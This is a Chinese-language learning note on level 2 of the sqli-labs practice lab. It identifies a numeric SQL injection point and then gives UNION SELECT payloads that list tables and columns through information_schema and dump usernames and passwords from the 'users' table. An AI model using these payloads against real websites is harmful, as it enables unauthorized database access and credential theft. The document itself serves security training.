sqli-lab 学习记录less2
less2
1.我们先来判断这次的sql注入类型
我们输入
?id=1
?id=1'
发现第一个语句返回正确
但是第二个却有了报错
我们因此可以判断
这次的sql注入类型为数字类型
2.
之后和less1一样
我们进行暴表的名字(暴表)
我们输入
?id=0 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()
我们由此得到
3.我们之后开始爆列喽
输入
?id=0 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'
我们可以得到
4.最后我们来获得我们要得到的东西
输入代码
?id=0 union select 1,group_concat(id,username,password),3 from users
就得到了我们要得到的东西
另外
我们附加关于where的知识
table_schema是数据库名
database()函数会返回当前的数据库名
where就是约束条件
这个 where后面 就是为了约束一下 我要查询的数据库 而不是去 看其他数据库里的东西
我要看的 东西 就是 当前数据库database里的 不是其他的数据里的
比如 有两个数据库 数据库1 数据库2 当前的数据库database是数据库1 你可以 where table_schema=database() 或者是where table_schema=‘数据库1’